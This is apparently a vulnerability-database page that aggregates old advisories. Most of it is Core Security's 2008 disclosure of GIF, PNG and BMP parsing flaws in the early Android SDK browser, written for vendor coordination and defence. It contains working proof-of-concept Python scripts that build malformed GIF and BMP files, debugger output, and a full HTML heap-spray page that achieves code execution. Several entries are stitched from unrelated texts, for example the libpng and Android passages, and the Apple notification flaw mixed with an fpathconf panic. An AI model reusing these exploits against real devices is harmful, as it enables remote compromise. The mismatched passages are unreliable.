VARIoT IoT vulnerabilities database

The sPLT chunk handling code (png_set_sPLT function in pngset.c) in libpng 1.0.6 through 1.2.12 uses a sizeof operator on the wrong data type, which allows context-dependent attackers to cause a denial of service (crash) via malformed sPLT chunks that trigger an out-of-bounds read. PNG (Portable Network Graphics) Format image processing library libpng In png_set_sPLT() In the function sPLT In the chunk processing code section, PNG There is a problem that memory access violation occurs due to image processing.Web Pre-crafted, installed on site or attached to email png By browsing the file, service operation interruption (DoS) May be in a state. The 'libpng' graphics library is reported prone to a denial-of-service vulnerability. The library fails to perform proper bounds-checking of user-supplied input, which leads to an out-of-bounds read error. Attackers may exploit this vulnerability to crash an application that relies on the affected library. =========================================================== Ubuntu Security Notice USN-383-1 November 16, 2006 libpng vulnerability CVE-2006-5793 =========================================================== A security issue affects the following Ubuntu releases: Ubuntu 5.10 Ubuntu 6.06 LTS Ubuntu 6.10 This advisory also applies to the corresponding versions of Kubuntu, Edubuntu, and Xubuntu.

Although the project is currently in a development phase and has not made an official release yet, several vendors of mobile chips have unveiled prototype phones built using development releases of the platform at the Mobile World Congress [2]. Development using the Android platform gained activity early in 2008 as a result of Google's launch of the Android Development Challenge which includes $10 million USD in awards [3] for which a Software Development Kit (SDK) was made available in November 2007. The Android Software Development Kit includes a fully functional operating system, a set of core libraries, application development frameworks, a virtual machine for executing application and a phone emulator based on the QEMU emulator [4]. Public reports as of February 27th, 2008 state that the Android SDK has been downloaded 750,000 times since November 2007 [5]. Several vulnerabilities have been found in Android's core libraries for processing graphic content in some of the most used image formats (PNG, GIF an BMP). While some of these vulnerabilities stem from the use of outdated and vulnerable open source image processing libraries other were introduced by native Android code that use them or that implements new functionality. Exploitation of these vulnerabilities to yield complete control of a phone running the Android platform has been proved possible using the emulator included in the SDK, which emulates phone running the Android platform on an ARM microprocessor. This advisory contains technical descriptions of these security bugs, including a proof of concept exploit to run arbitrary code, proving the possibility of running code on Android stack (over an ARM architecture) via a binary exploit. *Vulnerable Packages* . Android SDK m3-rc37a and earlier are vulnerable several bugs in components that process GIF, PNG and BMP images (bugs #1, #2 and #3 of this advisory). Android SDK m5-rc14 is vulnerable to a security bug in the component that process BMP images (bug #3). *Non-vulnerable Packages* . Android SDK m5-rc15 *Vendor Information, Solutions and Workarounds* Vendor statement: "The current version of the Android SDK is an early look release to the open source community, provided so that developers can begin working with the platform to inform and shape our development of Android toward production readiness. The Open Handset Alliance welcomes input from the security community throughout this process. There will be many changes and updates to the platform before Android is ready for end users, including a full security review." *Credits* These vulnerabilities were discovered by Alfredo Ortega from Core Security Technologies, leading his Bugweek 2007 team called "Pampa Grande". It was researched in depth by Alfredo Ortega. *Technical Description / Proof of Concept Code* Android is a software stack for mobile devices that includes an operating system, middleware and key applications. Android relies on Linux version 2.6 for core system services such as security, memory management, process management, network stack, and driver model. The kernel also acts as an abstraction layer between the hardware and the rest of the software stack. The WebKit application framework is included to facilitate development of web client application functionality. The framework in turn uses different third-party open source libraries to implement processing of several image formats. Android includes a web browser based on the Webkit framework that contains multiple binary vulnerabilities when processing .GIF, .PNG and .BMP image files, allowing malicious client-side attacks on the web browser. A client-side attack could be launched from a malicious web site, hosting specially crafted content, with the possibility of executing arbitrary code on the victim's Android system. These client-side binary vulnerabilities were discovered using the Android SDK that includes an ARM architecture emulator. Binary vulnerabilities are the most common security bugs in computer software. Basic bibliography on these vulnerabilities includes a recently updated handbook about security holes that also describes current state-of-the-start exploitation techniques for different hardware platforms and operating systems [6]. The vulnerabilities discovered are summarized below grouped by the type of image file format that is parsed by the vulnerable component. #1 - GIF image parsing heap overflow The Graphics Interchange Format (GIF) is image format dating at least from 1989 [7]. It was popularized because GIF images can be compressed using the Lempel-Ziv-Welch (LZW) compression technique thus reducing the memory footprint and bandwidth required for transmission and storage. A memory corruption condition happens within the GIF processing library of the WebKit framework when the function 'GIFImageDecoder::onDecode()' allocates a heap buffer based on the _Logical Screen Width and Height_ filed of the GIF header (offsets 6 and 8) and then the resulting buffer is filled in with an amount of data bytes that is calculated based on the real Width and Height of the GIF image. There is a similar (if not the same) bug in the function 'GIFImageDecoder::haveDecodedRow() 'in the open-source version included by Android in 'WebKitLib\WebKit\WebCore\platform\image-decoders\gif\GifImageDecoder.cpp' inside 'webkit-522-android-m3-rc20.tar.gz' available at [8]. Detailed analysis: When the process 'com.google.android.browser' must handle content with a GIF file it loads a dynamic library called 'libsgl.so' which contains the decoders for multiple image file formats. Decoding of the GIF image is performed correctly by the library giflib 4.0 (compiled inside 'libsgl.so'). However, the wrapper object 'GIFImageDecoder' miscalculates the total size of the image. First, the Logical Screen Size is read and stored in the following calling sequence (As giflib is an Open Source MIT-licenced library, the source was available for analysis): 'GIFImageDecoder::onDecode()->DGifOpen()->DGifGetScreenDesc()'. The last function, 'DGifGetScreenDesc()', stores the _Logical Screen Width and Height_ in a structure called 'GifFileType': /----------- Int DGifGetScreenDesc(GifFileType * GifFile) { ... /* Put the screen descriptor into the file: */ if (DGifGetWord(GifFile, &GifFile->SWidth) == GIF_ERROR || DGifGetWord(GifFile, &GifFile->SHeight) == GIF_ERROR) return GIF_ERROR; ... } - -----------/ We can see that the fields are stored in the first 2 words of the structure: /----------- typedef struct GifFileType { /* Screen dimensions. */ GifWord SWidth, SHeight, ... } - -----------/ In the disassembly of the GIFImageDecoder::onDecode() function provided below we can see how the DGifOpen() function is called and that the return value (A GifFileType struct) is stored on the $R5 ARM register: /----------- .text:0002F234 BL _DGifOpen .text:0002F238 SUBS R5, R0, #0 ; GifFile -_ $R5 - -----------/ Then, the giflib function 'DGifSlurp()' is called and the Image size is correctly allocated using the Image Width and Height and not the Logical Screen Size: /----------- Int DGifSlurp(GifFileType * GifFile) { ... ImageSize = sp->ImageDesc.Width * sp->ImageDesc.Height; sp->RasterBits = (unsigned char *)malloc(ImageSize * sizeof(GifPixelType)); ... } - -----------/ Afterwards the _Logical Screen_ Width and Height are stored in the R9 and R11 registers: /----------- .text:0002F28C LDMIA R5, {R9,R11} ; R9=SWidth R11=SHeight ! - -----------/ However the actual image may be much larger that these sizes that are incorrectly passed to a number of methods of the 'GIFImageDecoder': /----------- ImageDecoder::chooseFromOneChoice(): .text:0002F294 MOV R0, R8 .text:0002F298 MOV R1, #3 .text:0002F29C MOV R2, R9 .text:0002F2A0 MOV R3, R11 .text:0002F2A4 STR R12, [SP,#0x48+var_3C] .text:0002F2A8 BL _ImageDecoder19chooseFromOneChoice; ImageDecoder::chooseFromOneChoice(SkBitmap::Config,int ,int) Bitmap::setConfig(): .text:0002F2B8 MOV R0, R7 ; R7 = SkBitmap .text:0002F2BC MOV R1, #3 .text:0002F2C0 MOV R2, R9 ; R9=SWidth R11=SHeight ! .text:0002F2C4 MOV R3, R11 .text:0002F2C8 STR R10, [SP,#0x48+var_48] .text:0002F2CC BL _Bitmap9setConfig ; Bitmap::setConfig(SkBitmap::Config,uint,uint,uint) - -----------/ This function stores the SWidth and SHeight inside the Bitmap object as shown in the following code snippet: /----------- .text:00035C38 MOV R7, R2 ; $R2 = SWidth, goes to $R7 .text:00035C3C MOV R8, R3 ; $R3 = SHeight, goes to $R8 .text:00035C40 MOV R4, R0 ; $R4 = *Bitmap - -----------/ And later: /----------- .text:00035C58 BL _Bitmap15ComputeRowBytes ; SkBitmap::ComputeRowBytes(SkBitmap::Config,uint) .text:00035C5C MOV R5, R0 ; $R5 = Real Row Bytes .text:00035C68 STRH R7, [R4,#0x18] ; *Bitmap+0x18 = SWidth .text:00035C6C STRH R8, [R4,#0x1A] ; *Bitmap+0x1A = SHeight .text:00035C60 STRH R5, [R4,#0x1C] ; *Bitmap+0x1C = Row Bytes - -----------/ The following python script generates a GIF file that causes the overflow. It requires the Python Imaging Library. Once generated the GIF file, it must be opened in the Android browser to trigger the overflow: /----------- ##Android Heap Overflow ##Ortega Alfredo _ Core Security Exploit Writers Team ##tested against Android SDK m3-rc37a import Image import struct #Creates a _good_ gif image imagename='overflow.gif' str = '\x00\x00\x00\x00'*30000 im = Image.frombuffer('L',(len(str),1),str,'raw','L',0,1) im.save(imagename,'GIF') #Shrink the Logical screen dimension SWidth=1 SHeight=1 img = open(imagename,'rb').read() img = img[:6]+struct.pack('<HH',SWidth,SHeight)+img[10:] #Save the _bad_ gif image q=open(imagename,'wb=""') q.write(img) q.close() - -----------/ This security bug affects Android SDK m3-rc37a and earlier versions. Version m5-rc14 of the Android SDK includes a fix and is not vulnerable to this bug. #2 - PNG image parsing, multiple vulnerabilities: The Portable Network Graphics (PNG) is a bitmapped image format that employs lossless data compression [9]. PNG was created to improve upon and replace the GIF format as an image file format that does not require a patent license. The library 'libsgl.so' used by Android's WebKit contains commonly used code to load graphic files, as libpng, giflib and others. The version inside libsgl.so distributed with Android SDK m3-rc37a and earlier versions include the string '"libpng version 1.2.8 - December 3, 2004"'. Source code inspection of the file '\WebKitLib\WebKit\WebCore\platform\image-decoders\png\png.c' included in the 'webkit-522-android-m3-rc20.tar.gz ' release of the Android project reveals that '"libpng version 1.2.7 - September 12, 2004"' has been used in this release. This old version of libpng makes Android SDK m3-rc37a and earlier versions vulnerable to the following known issues: ' CVE-2006-5793, CVE-2007-2445, CVE-2007-5267, CVE-2007-5266, CVE-2007-5268, CVE-2007-5269 '. Android version m5-rc14 has been updated to include libpng 1.2.24 and is likely not vulnerable. #3 - BMP image processing, negative offset integer overflow: The BMP file format, sometimes called bitmap or DIB file format (for device-independent bitmap), is an image file format used to store bitmap digital images, especially on Microsoft Windows and OS/2 operating systems [10]. The integer overflow is caused when a Windows Bitmap file (.BMP) header is parsed in the method 'BMP::readFromStream(Stream *, ImageDecoder::Mode)' inside the 'libsgl.so' library. When the value of the 'offset' field of the BMP file header is negative and the Bitmap Information section (DIB header) specifies an image of 8 bits per pixel (8 bpp) the parser will try to allocate a palette, and will use the negative offset to calculate the size of the palette. The following code initializes the palette with the color white ('0x00ffffff') but with a carefully chosen negative offset it can be made to overwrite any address of the process with that value. Because the BMP decoder source wasn't released, a disassembly of the binary included by Android is provided below: /----------- .text:0002EE38 MOV LR, R7 ; R7 is the negative offset .text:0002EE3C MOV R12, R7,LSL#2 .text:0002EE40 .text:0002EE40 loc_2EE40 .text:0002EE40 LDR R3, [R10,#0x10] .text:0002EE44 ADD LR, LR, #1 .text:0002EE48 MOVL R2, 0xFFFFFFFF .text:0002EE4C ADD R1, R12, R3 ; R3 is uninitialized (because of the same bug) but ranges 0x10000-0x20000 .text:0002EE50 MOV R0, #0 .text:0002EE54 CMP LR, R9 .text:0002EE58 STRB R2, [R12,R3] ;Write 0x00ffffff to R12+13 (equals R1) .text:0002EE5C STRB R2, [R1,#2] .text:0002EE60 STRB R0, [R1,#3] .text:0002EE64 STRB R2, [R1,#1] .text:0002EE68 ADD R12, R12, #4 .text:0002EE6C BNE loc_2EE40 - -----------/ Now, if let's take a look at the memory map of the Android browser: /----------- # ps ps USER PID PPID VSIZE RSS WCHAN PC NAME root 1 0 248 64 c0084edc 0000ae2c S /init root 2 0 0 0 c0049168 00000000 S kthreadd ... root 1206 1165 16892 14564 c0084edc 00274af8 S ./gdb app_0 1574 535 83564 12832 ffffffff afe0c79c S com.google.android.browser root 1600 587 840 324 00000000 afe0bfbc R ps # cat /proc/1574/maps cat /proc/1574/maps 00008000-0000a000 rwxp 00000000 1f:00 514 /system/bin/app_process 0000a000-00c73000 rwxp 0000a000 00:00 0 [heap] 08000000-08001000 rw-s 00000000 00:08 344 /dev/zero (deleted) ... # - -----------/ We can see that the heap is located in the range '0000a000-00c73000' and it is executable. Overwriting this area will allow to redirect execution flow if there is a virtual table stored in the heap. Later on the same method we can see that a call to the "Stream" Object VT is made: /----------- .text:0002EB64 LDR R12, [R8] # R8 is the "this" pointer of the Stream Object .text:0002EB68 MOV R0, R8 .text:0002EB6C MOV LR, PC .text:0002EB70 LDR PC, [R12,#0x10] # A call is made to Stream+0x10 - -----------/ Because the "Stream" Object (R8) is stored on the heap and we can fill the heap with the white color ' 0x00ffffff' we can load the Program Counter with the value at '0xffffff+0x10'. The following python script will generate a BMP to accomplish that: /----------- # This script generates a Bitmap file that makes the Android browser jump to the address at 0xffffff+0x10 # Must be loaded inside a HTML file with a tag like this: &lt;IMG src=badbmp.bmp&gt; # Alfredo Ortega - Core Security import struct offset = 0xffef0000 width = 0x0bffff height=8 bmp ="\x42\x4d\xff\x00\x00\x00\x00\x00\x00\x00" bmp+=struct.pack("<I",offset) bmp+="\x28\x00\x00\x00" bmp+=struct.pack("<I",width) bmp+=struct.pack("<I",height) bmp+="\x03\x00\x08\x00\x00\x00" bmp+="\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" bmp+="\x00\x00\x00\x00\x00\x00\x00\x55\x02\xff\x00\x02\x00\x02\x02\xff" bmp+="\xff\x11\xff\x33\xff\x55\xff\x66\xff\x77\xff\x88\x41\x41\x41\x41" bmp+="\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" bmp+="\x41\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61" bmp+="\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61" open("badbmp.bmp","wb").write(bmp) - -----------/ Opening the BMP file generated with this script inside a HTML page will cause (sometimes, as it is dependent on an uninitialized variable) the following output of the gdb debugger: /----------- (gdb) attach 1574 attach 1574 Attaching to program: /system/bin/app_process, process 1574 ... 0xafe0d204 in __futex_wait () from /system/lib/libc.so (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0x00000000 in ?? () (gdb) - -----------/ Here the browser process has jumped to the '0x00000000' address because that is the value at 0x00ffffff+0x10. We can change this value using common JavaScript heap-filling techniques. The complete exploit page follows: /----------- <HTML> <HEAD> </HEAD> <BODY> <script type="text/javascript"> // Fill 0x200000 - 0xa00000 with Breakpoints var nop = unescape("%u0001%uef9f"); while (nop.length <= 0x100000/2) nop += nop; var i = 0; for (i = 0;i<5;i++) document.write(nop) // Fill 0xa00000 - 0x1100000 with address 0x00400040 var nop = unescape("%u4000%u4000"); while (nop.length <= 0x100000/2) nop += nop; var i = 0; for (i = 0;i<2;i++) document.write(nop) </script> <IMG src=badbmp.bmp> </BODY> </HTML> - -----------/ Because the exploit needs to fill over 16 MB of heap memory to reach the address '0xffffff' it is very slow and the default memory configuration of Android will often abort the process before reaching the desired point. To overcome this limitation for demonstration purposes one can launch the emulator with this parameters: 'emulator -qemu -m 192' That will launch the Android emulator with 192 megabytes of memory, plenty for the exploit to work. This security bug affects Android SDK m5-rc14 and earlier versions. *Report Timeline* . 2008-01-30: Vendor is notified that possibly exploitable vulnerabilities where discovered and that an advisory draft is available. This affects Android SDK m3-rc37a and earlier versions. 2008-01-30: Vendor acknowledges and requests the draft. 2008-01-31: Core sends the draft encrypted, including PoC code to generate malformed GIF images. 2008-01-31: Vendor acknowledges the draft. 2008-02-02: Vendor notifies that the software is an early release for the open source community, but agree they can fix the problem on the estimated date (2008-02-25). 2008-02-04: Core notifies the vendor that Android is using a vulnerable PNG processing library. 2008-02-08: Vendor acknowledges, invites Core to send any new findings and asks if all findings will be included in the advisory. 2008-02-12: Core responds to vendor that all security issues found will be included in the advisory, the date is subject to coordination. 2008-02-12: Vendor releases version m5-rc14 of the Android SDK. Core receives no notification. 2008-02-13: Core sends the vendor more malformed images, including GIF, PNG and BMP files. Only the BMP file affects the m5-rc14 release. 2008-02-20: Core sends to the vendor a new version of the advisory, including a BMP PoC that runs arbitrary ARM code and informs the vendor that we noticed that the recent m5-rc14 release fixed the GIF and PNG bugs. Publication of CORE-2008-0124 has been re-=scheduled for February 27th. 2008. 2008-02-21: Vendor confirms that the GIF and PNG fixes have been released and provides an official statement to the "Vendor Section" of the advisory. A final review of the advisory is requested before its release. The vendor indicates that the Android SDK is still in development and stabilization won't happen until it gets closer to Alpha. Changes to fix the BMP issue are coming soon, priorities are given to issues listed in the public issue tracking system at http://code.google.com/p/android/issues . 2008-02-26: Core indicates that publication of CORE-2008-0124 has been moved to March 3rd 2008, asks if an estimated date for the BMP fix is available and if Core should file the reported and any future bugs in the public issue tracking page. 2008-02-29: Final draft version of advisory CORE-2008-0124 is sent to the vendor as requested. Core requests for any additional comments or statements to be provided by noon March 3rd, 2008 (UTC-5) . 2008-03-01: Vendor requests publication to be delayed one day in order to publish a new release of Android with a fix to the BMP issue. 2008-03-02: Core agrees to delay publication for one day. 2008-03-03: Vendor releases Android SDK m5-rc15 which fixes the BMP vulnerability. Vendor indicates that Android applications run with the credentials of an unprivileged user which decreases the severity of the issues found . 2008-03-04: Further research by Alfredo Ortega reveals that although the vendor statement is correct current versions of Android SDK ship with a passwordless root account. Unprivileged users with shell access can simply use the 'su' program to gain privileges . 2008-03-04: Advisory CORE-2008-0124 is published. *References* [1] Android Overview - Open Handset Alliance - http://www.openhandsetalliance.com/android_overview.html [2] "Android Comes to Life in Barcelona" - The Washington Post , February 11th, 2008 - http://www.washingtonpost.com/wp-dyn/content/article/2008/02/11/AR2008021101944.html [3] Android Developer Challenge - http://code.google.com/android/adc.html [4] "Test Center Preview: Inside Google's Mobile future" - Inforworld, Feb. 27th 2008 - http://www.infoworld.com/article/08/02/27/09TC-google-android_1.html [5] "'Allo, 'allo, Android" - The Sydney Morning Herald, February 26th, 2008 http://www.smh.com.au/news/biztech/allo-allo-android/2008/02/26/1203788290737.html [6] The Shellcoder's Handbook: Discovering and Exploiting Security Holes by Chris Anley , John Heasman , Felix Linder and Gerardo Richarte.

Buffer overflow in the JavaScript implementation in Safari on Apple Mac OS X 10.4 allows remote attackers to cause a denial of service (application crash) via a long argument to the exec method of a regular expression. Apple Safari web browser is prone to a denial-of-service vulnerability when executing certain JavaScript code. An attacker can exploit this issue to crash an affected browser. Presumably, this issue may also result in remote code execution, but this has not been confirmed. Apple Safari 2.0.4 is vulnerable to this issue; other versions may also be affected. There is a vulnerability in Apple Safari's processing of very long regular expression matching strings. Remote attackers may use this vulnerability to execute arbitrary commands on the user's machine. If a Safari user is tricked into visiting a site that contains malicious JavaScript, a vulnerability in regular expression processing could be triggered, causing the browser to crash or execute arbitrary commands

Stack-based buffer overflow in the Broadcom BCMWL5.SYS wireless device driver 3.50.21.10, as used in Cisco Linksys WPC300N Wireless-N Notebook Adapter before 4.100.15.5 and other products, allows remote attackers to execute arbitrary code via an 802.11 response frame containing a long SSID field. A buffer overflow vulnerability exists in the Broadcom BCMWL5.SYS wireless driver. Successful exploitation of this vulnerability may allow an attacker to execute arbitrary code, or cause a denial-of-service condition. ---------------------------------------------------------------------- To improve our services to our customers, we have made a number of additions to the Secunia Advisories and have started translating the advisories to German.

Stack-based buffer overflow in A5AGU.SYS 1.0.1.41 for the D-Link DWL-G132 wireless adapter allows remote attackers to execute arbitrary code via a 802.11 beacon request with a long Rates information element (IE). D-LINK DWL-G132 is a high performance 802.11g wireless network card.  D-Link DWL-G132 wireless network card A5AGU.SYS driver has a stack overflow vulnerability. A remote attacker may use this vulnerability to execute arbitrary instructions on the user's machine. Because the overflow is triggered by a beacon frame, all network cards in the attack range are affected. The D-Link Wireless Device Driver for DWL-G132 devices is prone to a stack-based buffer-overflow vulnerability because the driver fails to properly bounds-check user-supplied data before copying it into an insufficiently sized memory buffer. Exploiting this issue allows attackers to execute arbitrary machine code in the context of the kernel hosting the vulnerable driver. Failed attempts will likely crash the kernel, resulting in denial-of-service conditions. The ASAGU.SYS driver is primarily used on the Microsoft Window operating system. Note, however, that Linux and BSD machines using the 'ndiswrapper' tool should determine if they are using a vulnerable instance of the driver. Note also that this vulnerability can be exploited only when an attacker is within the range of broadcast of 802.11 wireless connections. Version 1.0.1.41 of the ASAGU.SYS driver is reported vulnerable; other versions may also be affected. ---------------------------------------------------------------------- To improve our services to our customers, we have made a number of additions to the Secunia Advisories and have started translating the advisories to German.

The CFUserNotificationSendRequest function in UserNotificationCenter.app in Apple Mac OS X 10.4.8, when used in combination with diskutil, allows local users to gain privileges via a malicious InputManager in Library/InputManagers in a user's home directory, which is executed when Cocoa applications attempt to notify the user. Apple's UserNotificationCenter contains a vulnerability that may allow local users to gain elevated privileges. According to Apple's information, gaining elevated privileges could result in unauthorized overwriting or modification of system files. This issue stems from a flaw in the UserNotificationCenter application that results in arbitrary code-execution with wheel-group privileges. This issue affects Apple Mac OS X version 10.4.8; other versions may also be affected. ---------------------------------------------------------------------- To improve our services to our customers, we have made a number of additions to the Secunia Advisories and have started translating the advisories to German. The improvements will help our customers to get a better understanding of how we reached our conclusions, how it was rated, our thoughts on exploitation, attack vectors, and scenarios. The vulnerability exists due to an error in the "fpathconf()" syscall when it is called with an unsupported file type and can be exploited to cause a system panic. The vulnerability is confirmed in version 10.4.8. Other versions may also be affected. SOLUTION: Grant only trusted users access to affected systems.

Format string vulnerability in Apple iChat 3.1.6 allows remote attackers to cause a denial of service (null pointer dereference and application crash) and possibly execute arbitrary code via format string specifiers in an aim:// URI. Apple iChat contains a format string vulnerability. This vulnerability may allow a remote, unauthenticated attacker to execute arbitary code. A vulnerability in the way Apple Mac OS X handles corrupted Universal Mach-O Binaries may result in execution of arbitrary code or denial of service. Apple iChat is prone to a remote format-string vulnerability because the application fails to properly sanitize user-supplied input before including it in the format-specifier argument of a formatted-printing function. Successfully exploiting this issue allows remote attackers to execute arbitrary machine code in the context of the application and to compromise affected computers. ---------------------------------------------------------------------- To improve our services to our customers, we have made a number of additions to the Secunia Advisories and have started translating the advisories to German.

SSL VPN Client in Cisco Secure Desktop before 3.1.1.45, when configured to spawn a web browser after a successful connection, stores sensitive browser session information in a directory outside of the CSD vault and does not restrict the user from saving files outside of the vault, which is not cleared after the VPN connection terminates and allows local users to read unencrypted data. Cisco Secure Desktop is susceptible to multiple vulnerabilities. These issues are due to design flaws in the application. Exploiting these issues allows local attackers to evade application security policies, to access sensitive information, and to gain local system privileges on affected computers. These vulnerabilities affect Cisco Secure Desktop version 3.1.1.33 and prior. Local privilege escalation +------------------------ The default permissions of the directory where the CSD is installed and its parent directory allow any user to modify the contents of the CSD installation, including Reorder, delete and overwrite files. Unprivileged users can exploit this vulnerability to elevate their privileges and obtain localsystem-equivalent privileges by replacing certain CSD executables that run as system services with LocalSystem privileges. CSD is installed to the \\%SystemDrive\\%\Program Files\Cisco Systems\Secure Desktop\ directory by default. Note that some other Cisco products install their files into the \\%SystemDrive\\%\Program Files\Cisco Systems\ directory. So a side effect of this vulnerability in CSD is that if other products are installed after the vulnerable version of CSD is installed, those products will also be affected. ---------------------------------------------------------------------- To improve our services to our customers, we have made a number of additions to the Secunia Advisories and have started translating the advisories to German.

The installation of Cisco Secure Desktop (CSD) before 3.1.1.45 uses insecure default permissions (all users full control) for the CSD directory and its parent directory, which allow local users to gain privileges by replacing CSD executables, aka "Local Privilege Escalation". Cisco Secure Desktop is susceptible to multiple vulnerabilities. These issues are due to design flaws in the application. Exploiting these issues allows local attackers to evade application security policies, to access sensitive information, and to gain local system privileges on affected computers. These vulnerabilities affect Cisco Secure Desktop version 3.1.1.33 and prior. Cisco Secure Desktop (CSD) uses encryption to reduce the risk of cookies, browser history, temporary files, and downloads being left on the system after a remote user logs off or an SSL VPN session times out. Unprivileged users can exploit this vulnerability to elevate their privileges and obtain localsystem-equivalent privileges by replacing certain CSD executables that run as system services with LocalSystem privileges. Note that some other Cisco products install their files into the \\%SystemDrive\\%\Program Files\Cisco Systems\ directory.

Cisco Security Agent Management Center (CSAMC) 5.1 before 5.1.0.79 does not properly handle certain LDAP error messages, which allows remote attackers to bypass authentication requirements via an empty password when using an external LDAP server. Exploiting this issue allows remote attackers to gain administrative access to the web-based administrative interface of the affected application. This issue affects Cisco Security Agent Management Center 5.1 prior to 5.1.0.79. This issue is being tracked by Cisco Bug ID CSCsg40822. Cisco Security Agent (CSA) provides threat protection for server and desktop computing systems. There is a loophole in CSA processing LDAP authentication, and remote attackers may use this loophole to obtain unauthorized management rights. If the administrator has the configuration or deployment role, it is possible to change the policies of the managed CSA clients. This can lead to a reduction in the security posture of the managed system and an attack on the managed system. ---------------------------------------------------------------------- To improve our services to our customers, we have made a number of additions to the Secunia Advisories and have started translating the advisories to German.
